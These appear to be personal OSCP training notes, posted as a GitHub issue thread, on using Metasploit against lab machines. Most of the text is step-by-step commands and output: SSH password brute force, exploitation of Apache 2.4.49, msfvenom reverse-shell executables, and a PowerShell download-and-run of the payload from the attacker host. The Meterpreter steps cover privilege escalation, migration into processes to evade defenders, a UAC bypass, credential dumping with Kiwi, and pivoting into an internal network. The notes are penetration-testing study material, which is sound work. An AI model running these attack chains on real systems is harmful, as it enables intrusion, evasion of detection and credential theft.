WDavid404 / OSCP

0 stars 0 forks source link

20. The Metasploit Framework #21

Open WDavid404 opened 4 months ago

WDavid404 commented 4 months ago

20.1. Getting Familiar with Metasploit

Setup and Work with MSF

start the database service as well as create and initialize the MSF database with msfdb init. kali@kali:~$ sudo msfdb init

To enable the database service at boot time we can use systemctl kali@kali:~$ sudo systemctl enable postgresql

launch the Metasploit command-line interface with msfconsole

kali@kali:~$ sudo msfconsole

msf6 > 

verify database connectivity with db_status. msf6 > db_status

one important concept first: workspaces

msf6 > workspace
* default

msf6 > workspace -a pen200
[*] Added workspace: pen200
[*] Workspace: pen200

db_nmap is a wrapper to execute Nmap inside Metasploit and save the findings in the database.

msf6 > db_nmap
[*] Usage: db_nmap [--save | [--help | -h]] [nmap options]

msf6 > db_nmap -A 192.168.50.202
..

# To get a list of all discovered hosts up to this point, we can enter hosts.
msf6 > hosts

# we can enter services to display the discovered services from our port scan.
msf6 > services

msf6 > services -p 8000

show category msf6 > show -h

WDavid404 commented 4 months ago

20.1.2. Auxiliary Modules

msf6 auxiliary(scanner/portscan/tcp) > show auxiliary

use search msf6 > search type:auxiliary smb use the latter to activate the module auxiliary/scanner/smb/smb_version with index 56. msf6 > use 56

To get information about the currently activated module msf6 auxiliary(scanner/smb/smb_version) > info

Display the options of a module by entering show options msf6 auxiliary(scanner/smb/smb_version) > show options

Use the vulns command to show if Metasploit automatically detected vulnerabilities based on the results of this module. msf6 auxiliary(scanner/smb/smb_version) > vulns

display all valid credentials we gathered up to this point by entering creds. msf6 auxiliary(scanner/ssh/ssh_login) > creds

search another msf6 auxiliary(scanner/smb/smb_version) > search type:auxiliary ssh

use auxiliary/scanner/ssh/ssh_login 

msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
PASS_FILE => /usr/share/wordlists/rockyou.txt

msf6 auxiliary(scanner/ssh/ssh_login) > set USERNAME george
USERNAME => george

msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.50.201
RHOSTS => 192.168.50.201

msf6 auxiliary(scanner/ssh/ssh_login) > set RPORT 2222
RPORT => 2222
WDavid404 commented 4 months ago

20.1.3. Exploit Modules

Let's create a new workspace for this section and search Metasploit for modules related to "Apache 2.4.49".

msf6 auxiliary(scanner/ssh/ssh_login) > workspace -a exploits

msf6 auxiliary(scanner/ssh/ssh_login) > search Apache 2.4.49

msf6 auxiliary(scanner/ssh/ssh_login) > use 0

msf6 exploit(multi/http/apache_normalize_path_rce) > info

msf6 exploit(multi/http/apache_normalize_path_rce) > show options

。。。

We can send the session to the background by pressing C+z and confirming the prompt. Once the session is sent to the background, we can use sessions -l to list all active sessions.

image

msf6 exploit(multi/http/apache_normalize_path_rce) > sessions -i 2

WDavid404 commented 4 months ago

20.2. Using Metasploit Payloads

20.2.1. Staged vs Non-Staged Payloads

A non-staged payload is sent in its entirety along with the exploit. This means the payload contains the exploit and full shellcode for a selected task. In general, these "all-in-one" payloads are more stable. The downside is that the size of these payloads will be bigger than other types.

A staged payload is usually sent in two parts. The first part contains a small primary payload that causes the victim machine to connect back to the attacker, transfer a larger secondary payload containing the rest of the shellcode, and then execute it.

There are several situations in which we would prefer to use a staged payload instead of non-staged. If there are space-limitations in an exploit, a staged payload might be a better choice as it is typically smaller. In addition, we need to keep in mind that antivirus software can detect shellcode in an exploit. By replacing the full code with a first stage, which loads the second and malicious part of the shellcode, the remaining payload is retrieved and injected directly into the victim machine's memory. This may prevent detection and can increase our chances of success.

In Metasploit, the "/" character is used to denote whether a payload is staged or not, so shell_reverse_tcp at index 20 is not staged, whereas shell/reverse_tcp at index 15 is.

msf6 exploit(multi/http/apache_normalize_path_rce) > show payloads

msf6 exploit(multi/http/apache_normalize_path_rce) > set payload 15

msf6 exploit(multi/http/apache_normalize_path_rce) > run
WDavid404 commented 4 months ago

20.2. Using Metasploit Payloads

20.2.2. Meterpreter Payload

Exploit frameworks often contain more advanced payloads providing features and functionality such as file transfers, pivoting, and various other methods of interacting with the victim machine.

Metasploit contains the Meterpreter1 payload, which is a multi-function payload that can be dynamically extended at run-time. The payload resides entirely in memory on the target and its communication is encrypted by default. Meterpreter offers capabilities that are especially useful in the post-exploitation phase and exists for various operating systems such as Windows, Linux, macOS, Android, and more.

msf6 exploit(multi/http/apache_normalize_path_rce) > show payloads

....

msf6 exploit(multi/http/apache_normalize_path_rce) > set payload 11
payload => linux/x64/meterpreter_reverse_tcp

.....
msf6 exploit(multi/http/apache_normalize_path_rce) > run

meterpreter > help
meterpreter > sysinfo
meterpreter > getuid

# Let's start an interactive shell by entering shell, execute a command in the context of a channel, and background the channel the shell runs in. To background a channel, we can use C+z.
meterpreter > shell --> 进入target machine的shell页面里,可以直接执行shell命令
Process 194 created.
Channel 1 created. ----> Note!

^Z
Background channel 1? [y/N]  y

meterpreter > 

meterpreter > shell      ---> !
Process 196 created.
Channel 2 created ----> Note!
whoami
daemon
^Z
Background channel 2? [y/N]  y

meterpreter > channel -l

    Id  Class  Type
    --  -----  ----
    1   3      stdapi_process
    2   3      stdapi_process

meterpreter > channel -i 1  <----switch to channel 1
Interacting with channel 1...

Let's download /etc/passwd from the target machine to our Kali system. For this, we'll change the local directory on our Kali machine to /home/kali/Downloads first. Then, we'll enter the download command and /etc/passwd as argument.

meterpreter > lpwd
/home/kali

meterpreter > lcd /home/kali/Downloads

meterpreter > lpwd
/home/kali/Downloads

meterpreter > download /etc/passwd --》 从目标machine里下载指定文件
[*] Downloading: /etc/passwd -> /home/kali/Downloads/passwd
[*] Downloaded 1.74 KiB of 1.74 KiB (100.0%): /etc/passwd -> /home/kali/Downloads/passwd
[*] download   : /etc/passwd -> /home/kali/Downloads/passwd

meterpreter > lcat /home/kali/Downloads/passwd
root:x:0:0:root:/root:/bin/bash
...

Let's upload the file to /tmp on the target system.

meterpreter > upload /usr/bin/unix-privesc-check /tmp/
[*] uploading  : /usr/bin/unix-privesc-check -> /tmp/
[*] uploaded   : /usr/bin/unix-privesc-check -> /tmp//unix-privesc-check

meterpreter > ls /tmp
Listing: /tmp

we exit the current session meterpreter > exit

WDavid404 commented 4 months ago

20.2. Using Metasploit Payloads

20.2.3. Executable Payloads

Metasploit contains msfvenom as a standalone tool to generate these payloads.

kali@kali:~$ msfvenom -l payloads --platform windows --arch x64 
...
windows/x64/shell/reverse_tcp               Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker (Windows x64)
...
windows/x64/shell_reverse_tcp               Connect back to attacker and spawn a command shell (Windows x64)
...

It shows that we can choose between a staged and non-staged payload.

# non-staged
kali@kali:~$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.119.2 LPORT=443 -f exe -o nonstaged.exe

# staged
kali@kali:~$ msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.119.2 LPORT=443 -f exe -o staged.exe 
## But Netcat doesn't know how to handle a staged payload.

To get a functional interactive command prompt, we can use Metasploit's multi/handler module, which works for the majority of staged, non-staged, and more advanced payloads.

msf6 exploit(multi/http/apache_normalize_path_rce) > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit(multi/handler) > set payload windows/x64/shell/reverse_tcp 《--注意这个是staged的,我们更多时候用non-stage
payload => windows/x64/shell/reverse_tcp

msf6 exploit(multi/handler) > show options
...
Payload options (windows/x64/shell/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port
...

msf6 exploit(multi/handler) > set LHOST 192.168.119.2
LHOST => 192.168.119.2
msf6 exploit(multi/handler) > set LPORT 443

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.119.2:443 

Let's exit our session and restart the listener with run -j. list the currently active jobs using jobs. Once we execute staged.exe again, Metasploit notifies us that a new session was created.

image
WDavid404 commented 4 months ago

20.3. Performing Post-Exploitation with Metasploit

20.3.1. Core Meterpreter Post-Exploitation Features

Now that we have an active Meterpreter session on a Windows target we can start exploring post-exploitation commands and features.

our first commands as it indicates if the target machine is currently in use or not.

msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_https
payload => windows/x64/meterpreter_reverse_https

msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443

msf6 exploit(multi/handler) > run
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.

[*] Started HTTPS reverse handler on https://192.168.119.4:443
meterpreter > idletime
User has been idle for: 9 mins 53 secs

---> The output states that the user hasn't been interacting with the system for 9 minutes and 53 seconds, suggesting the user may have stepped away from their computer. If the result of the idletime command indicates that the user is away, we can take this as an opportunity to execute programs or commands which may display a command-line window such as CMD or PowerShell for a brief moment.

the command getsystem, which attempts to automatically elevate our permissions to NT AUTHORITY\SYSTEM.

meterpreter > shell
...

C:\Users\luiza> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
...
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
...

C:\Users\luiza> exit
exit

---> the user luiza has SeImpersonatePrivilege assigned. Now, let's use getsystem to attempt to elevate our privileges.

meterpreter > getuid
Server username: ITWK01\luiza

meterpreter > getsystem
...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Another important post-exploitation feature is migrate.

meterpreter > ps

Process List
============

 PID   PPID  Name                         Arch  Session  User                          Path
 ---   ----  ----                         ----  -------  ----                          ----
 2552   8500  met.exe                      x64   0        ITWK01\luiza                  C:\Users\luiza\met.exe 
... 
 8052   4892  OneDrive.exe                 x64   1        ITWK01\offsec                 C:\Users\offsec\AppData\Local\Microsoft\OneDrive\OneDrive.exe
...

--> The process met.exe (made by ourself) has the process ID 2552. The name and path will easily make the process stand out to a defender reviewing the process list. The output shows that offsec started a process related to OneDrive with process ID 8052. If our payload runs within this process, it is far less likely to be detected by reviewing the process list.

We should note that we are only able to migrate into processes that execute at the same (or lower) integrity and privilege level than that of our current process. In the context of this example, we already elevated our privileges to NT AUTHORITY\SYSTEM so our choices are plentiful.

meterpreter > migrate 8052
[*] Migrating from 2552 to 8052...
[*] Migration completed successfully.

meterpreter > ps

Process List
============

 PID   PPID  Name                         Arch  Session  User                Path
 ---   ----  ----                         ----  -------  ----                ----
...
 2440   668   svchost.exe
 2472   668   svchost.exe
 2496   668   svchost.exe
 2568   668   svchost.exe
 2624   668   spoolsv.exe
 2660   668   svchost.exe
 2784   668   svchost.exe
 2928   668   svchost.exe
...

we'll notice that the ps output contains less information than before. The reason for this is that we are now running in the context of the process with the ID 8052 and therefore, as user offsec.

meterpreter > getuid
Server username: ITWK01\offsec

If we won't find any suitable processes to migrate to, we can use the execute Meterpreter command. This command provides the ability to create a new process by specifying a command or program.

meterpreter > execute -H -f notepad
Process 2720 created.

meterpreter > migrate 2720
[*] Migrating from 8052 to 2720...
[*] Migration completed successfully.

meterpreter > 
WDavid404 commented 4 months ago

20.3. Performing Post-Exploitation with Metasploit

20.3.2. Post-Exploitation Modules

NtObjectManager

To display the integrity level of a process, we can use tools such as Process Explorer or third-party PowerShell modules such as NtObjectManager.

meterpreter > shell
Process 6436 created.
Channel 1 created.
Microsoft Windows [Version 10.0.22000.795]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> powershell -ep bypass
powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Windows\system32> Import-Module NtObjectManager
Import-Module NtObjectManager

PS C:\Windows\system32> Get-NtTokenIntegrityLevel
Get-NtTokenIntegrityLevel
Medium

Search for and leverage UAC post-exploitation modules. msf6 exploit(multi/handler) > search UAC One very effective UAC bypass on modern Windows systems is exploit/windows/local/bypassuac_sdclt, which targets the Microsoft binary sdclt.exe. This binary can be abused to bypass UAC by spawning a process with integrity level High.

use exploit/windows/local/bypassuac_sdclt
show options
set SESSION 9
set LHOST 192.168.119.4
run

Kiwi

Kiwi, which is a Meterpreter extension providing the capabilities of Mimikatz.load kiwi

meterpreter > getsystem
meterpreter > load kiwi
meterpreter > help
meterpreter > creds_msv
WDavid404 commented 4 months ago

20.3.3. Pivoting with Metasploit

To add a route to a network reachable through a compromised host, we can use route add with the network information and session ID (12) that the route applies to. After adding the route, we can display the current routes with route print.

msf6 exploit(multi/handler) > route add 172.16.5.0/24 12   《--这里的12是sessions ID
msf6 exploit(multi/handler) > route print

enumerate this subnet (only want to scan ports 445 and 3389.)

msf6 exploit(multi/handler) > use auxiliary/scanner/portscan/tcp 
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 172.16.5.200
RHOSTS => 172.16.5.200
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 445,3389
PORTS => 445,3389
msf6 auxiliary(scanner/portscan/tcp) > run
发现 target: 172.16.5.200

Then,use two modules for SMB and RDP using our pivot host ITWK01 to perform operations on the target. In the previous section, we retrieved the NTLM hash via Kiwi. Let's assume we could successfully crack the NTLM hash and the clear-text password is BoccieDearAeroMeow1!.

msf6 auxiliary(scanner/portscan/tcp) > use exploit/windows/smb/psexec 
msf6 exploit(windows/smb/psexec) > set SMBUser luiza
msf6 exploit(windows/smb/psexec) > set SMBPass "BoccieDearAeroMeow1!"
msf6 exploit(windows/smb/psexec) > set RHOSTS 172.16.5.200
msf6 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/psexec) > set LPORT 8000
msf6 exploit(windows/smb/psexec) > run

As an alternative to adding routes manually, we can use the autoroute post-exploitation module to set up pivot routes through an existing Meterpreter session automatically. Use multi/manage/autoroute in which we have to set the session ID as value for the option SESSION.

msf6 exploit(windows/smb/psexec) > use multi/manage/autoroute、
msf6 post(multi/manage/autoroute) > show options
msf6 post(multi/manage/autoroute) > sessions -l

Active sessions
===============

  Id  Name  Type                     Information            Connection
  --  ----  ----                     -----------            ----------
  12         meterpreter x64/windows  ITWK01\luiza @ ITWK01  192.168.119.4:443 -> 127.0.0.1 ()

msf6 post(multi/manage/autoroute) > set session 12
msf6 post(multi/manage/autoroute) > run

⬆️ autoroute added 172.16.5.0/24 to the routing table.

We could now use the psexec module as we did before, but we can also combine routes with the server/socks_proxy auxiliary module to configure a SOCKS proxy. This allows applications outside of the Metasploit Framework to tunnel through the pivot on port 1080 by default. We set the option SRVHOST to 127.0.0.1 and VERSION to 5 in order to use SOCKS version 5.

msf6 post(multi/manage/autoroute) > use auxiliary/server/socks_proxy 
msf6 auxiliary(server/socks_proxy) > show options
msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf6 auxiliary(server/socks_proxy) > set VERSION 5
msf6 auxiliary(server/socks_proxy) > run -j
[*] Auxiliary module running as background job 0.
[*] Starting the SOCKS proxy server

We can now update our proxychains configuration file (/etc/proxychains4.conf) to take advantage of the SOCKS5 proxy.

kali@kali:~$ tail /etc/proxychains4.conf
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080 <--- !!

use proxychains to run xfreerdp to obtain GUI access from our Kali Linux system to the target machine on the internal network. kali@kali:~$ sudo proxychains xfreerdp /v:172.16.5.200 /u:luiza

portfwd command from inside a Meterpreter session, which will forward a specific port to the internal network.

msf6 auxiliary(server/socks_proxy) > sessions -i 12
meterpreter > portfwd -h
meterpreter > portfwd add -l 3389 -p 3389 -r 172.16.5.200
kali@kali:~$ sudo xfreerdp /v:127.0.0.1 /u:luiza
WDavid404 commented 4 months ago

20.4. Automating Metasploit

20.4.1. Resource Scripts

Resource scripts can chain together a series of Metasploit console commands and Ruby code.

In a penetration test, we may need to set up several multi/handler listeners each time we want to receive an incoming reverse shell. We could either let Metasploit run in the background the whole time or start Metasploit and manually set up a listener each time. We could also create a resource script to automate this task for us.

Let's create a resource script that starts a multi/handler listener for a non-staged Windows 64-bit Meterpreter payload. To do this, we can create a file in the home directory of the user kali named listener.rc and open it in an editor such as Mousepad.

use exploit/multi/handler
set PAYLOAD windows/meterpreter_reverse_https
set LHOST 192.168.119.4
set LPORT 443

set AutoRunScript post/windows/manage/migrate   --> This will cause the spawned Meterpreter to automatically launch a background notepad.exe process and migrate to it

set ExitOnSession false ---> to ensure that the listener keeps accepting new connections after a session is created.

run -z -j --> to run it as a job in the background and to stop us from automatically interacting with the session.

kali@kali:~$ sudo msfconsole -r listener.rc

On Windows PC

PS C:\Users\justin> iwr -uri http://192.168.119.4/met.exe -Outfile met.exe

PS C:\Users\justin> .\met.exe

Once met.exe gets executed, Metasploit notifies us about the incoming connection.

image

Instead of creating our own resource scripts, we can also use the already provided resource scripts from Metasploit.

kali@kali:~$ ls -l /usr/share/metasploit-framework/scripts/resource
total 148
-rw-r--r-- 1 root root  7270 Jul 14 12:06 auto_brute.rc
-rw-r--r-- 1 root root  2203 Jul 14 12:06 autocrawler.rc
-rw-r--r-- 1 root root 11225 Jul 14 12:06 auto_cred_checker.rc
-rw-r--r-- 1 root root  6565 Jul 14 12:06 autoexploit.rc
-rw-r--r-- 1 root root  3422 Jul 14 12:06 auto_pass_the_hash.rc
-rw-r--r-- 1 root root   876 Jul 14 12:06 auto_win32_multihandler.rc
...
WDavid404 commented 4 months ago

总结

要注意设定targets

msf6 exploit(multi/http/apache_nifi_processor_rce) > show targets

Exploit targets:
=================

    Id  Name
    --  ----
    0   Unix (In-Memory)
=>  1   Windows (In-Memory)

练习

A SNEAKY (EASIEST) Way to complete 20.4.1 Q3. Giving back, it's a tough exercise! Setting up: exploit || exploit/multi/http/apache_nifi_processor_rce|| payload || payload/cmd/windows/http/x64/meterpreter_reverse_tcp|| || set target 1 || configure options.
To change to system ||getsystem|| in meterpreter shell.
Once obtained meterpreter shell then load || kiwi || . This is the kicker part that saves time, diverting from instructions, run from kiwi || lsa_dump_secrets|| hehehe no need to pth or crack the NTLM hash ||plain text||
From there you can use the metasploit exploit module ||windows/smb/psexec|| configure the options for VM 2, run then you get shell for VM2 and get flag.